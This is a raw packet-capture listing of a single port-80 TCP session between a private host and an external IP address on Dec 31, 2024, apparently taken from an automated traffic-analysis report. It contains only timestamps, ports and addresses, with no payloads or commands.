Dec 31, 2024 09:48:42.251161098 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251171112 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251198053 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251208067 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251218081 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251228094 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.251229048 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251228094 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.251274109 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.251274109 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.251353979 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251363993 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251374006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251384974 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251394987 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251410007 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251420021 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251430035 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251441002 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.251461029 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.251461029 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.251583099 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.252095938 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252106905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252116919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252141953 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.252173901 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252185106 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252193928 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252196074 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.252206087 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252217054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252262115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252273083 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252281904 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252285957 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.252285957 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.252293110 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.252342939 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.254116058 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254127979 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254137039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254147053 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254162073 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254190922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254200935 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254209995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.254209995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.254211903 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254278898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254290104 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254301071 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254311085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254321098 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254327059 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.254327059 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.254333019 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.254415035 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.297472000 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.340044022 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340063095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340074062 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340090036 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340100050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340110064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340120077 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340214014 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340229034 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340229034 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.340229034 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.340240955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340251923 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340261936 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340271950 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340272903 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.340282917 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340295076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340303898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.340316057 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.340316057 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.340758085 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374121904 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374140024 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374150038 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374165058 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374176025 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374186039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374202013 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374212980 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374222040 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374296904 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374296904 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374317884 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374330044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374339104 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374350071 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374360085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374371052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374378920 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374378920 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374427080 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374439001 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374449015 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374449968 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374458075 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374484062 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374484062 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374495983 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374552965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374562025 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374572039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374602079 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374620914 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374631882 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374640942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374649048 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374666929 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374666929 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374684095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374700069 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374711037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374720097 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374722004 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374722004 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374731064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374741077 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374768972 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374768972 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374811888 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374831915 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374847889 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374859095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374869108 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374878883 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374903917 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374903917 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.374953985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374969006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374979973 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.374988079 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375009060 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375020027 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375020027 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375030994 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375091076 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375091076 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375144958 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375155926 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375164986 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375180960 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375191927 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375201941 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375211000 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375221014 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375231028 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375235081 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375235081 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375255108 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375264883 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375271082 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375274897 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375291109 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375303030 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375308990 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375328064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375339031 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375349998 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375349998 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375349998 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375375986 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375516891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375531912 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375543118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375551939 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375562906 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375570059 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375571966 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375587940 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375605106 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375612974 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375612974 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375617027 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375628948 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375638962 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375648022 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375667095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375668049 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375683069 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375691891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375699997 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375708103 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375718117 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375727892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375737906 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375755072 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375755072 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375766039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375777006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375787020 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375813961 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375823975 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375828028 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375828028 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375834942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375852108 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375863075 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375864029 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375878096 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375888109 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375904083 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375907898 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375926018 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.375971079 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.375971079 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376012087 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376023054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376032114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376101971 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376111984 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376121998 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376132965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376143932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376143932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376148939 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376161098 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376169920 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376180887 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376190901 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376194954 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376194954 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376207113 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376215935 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376225948 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376231909 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376231909 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376254082 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376266003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376291990 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376291990 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376323938 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376336098 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376344919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376354933 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.376364946 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.376631021 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.431019068 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431037903 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431047916 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431101084 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431113005 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431121111 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.431123972 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431135893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431164980 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431180954 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431188107 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.431188107 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.431200027 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431210995 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431222916 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431232929 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431243896 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.431266069 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.431266069 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.431308985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465136051 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465148926 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465159893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465199947 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465209961 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465220928 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465239048 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465243101 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465243101 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465270042 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465284109 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465295076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465305090 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465318918 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465328932 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465339899 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465349913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465359926 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465359926 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465415001 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465426922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465436935 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465437889 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465451002 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465461969 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465492010 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465492010 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465496063 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465514898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465526104 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465536118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465588093 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465588093 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465629101 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465639114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465650082 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465661049 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465672970 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465677023 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465689898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465723038 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465723038 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465759039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465771914 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465789080 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465799093 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465810061 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465826988 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465837955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465847015 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465854883 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465854883 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465863943 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465876102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465886116 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465895891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465907097 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465909004 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465909004 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465919018 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465936899 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465945959 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465955973 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465967894 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.465985060 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.465985060 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466023922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466036081 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466046095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466056108 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466063023 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466063023 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.466067076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466084003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.466100931 CET	80	49716	185.215.113.16	192.168.2.5
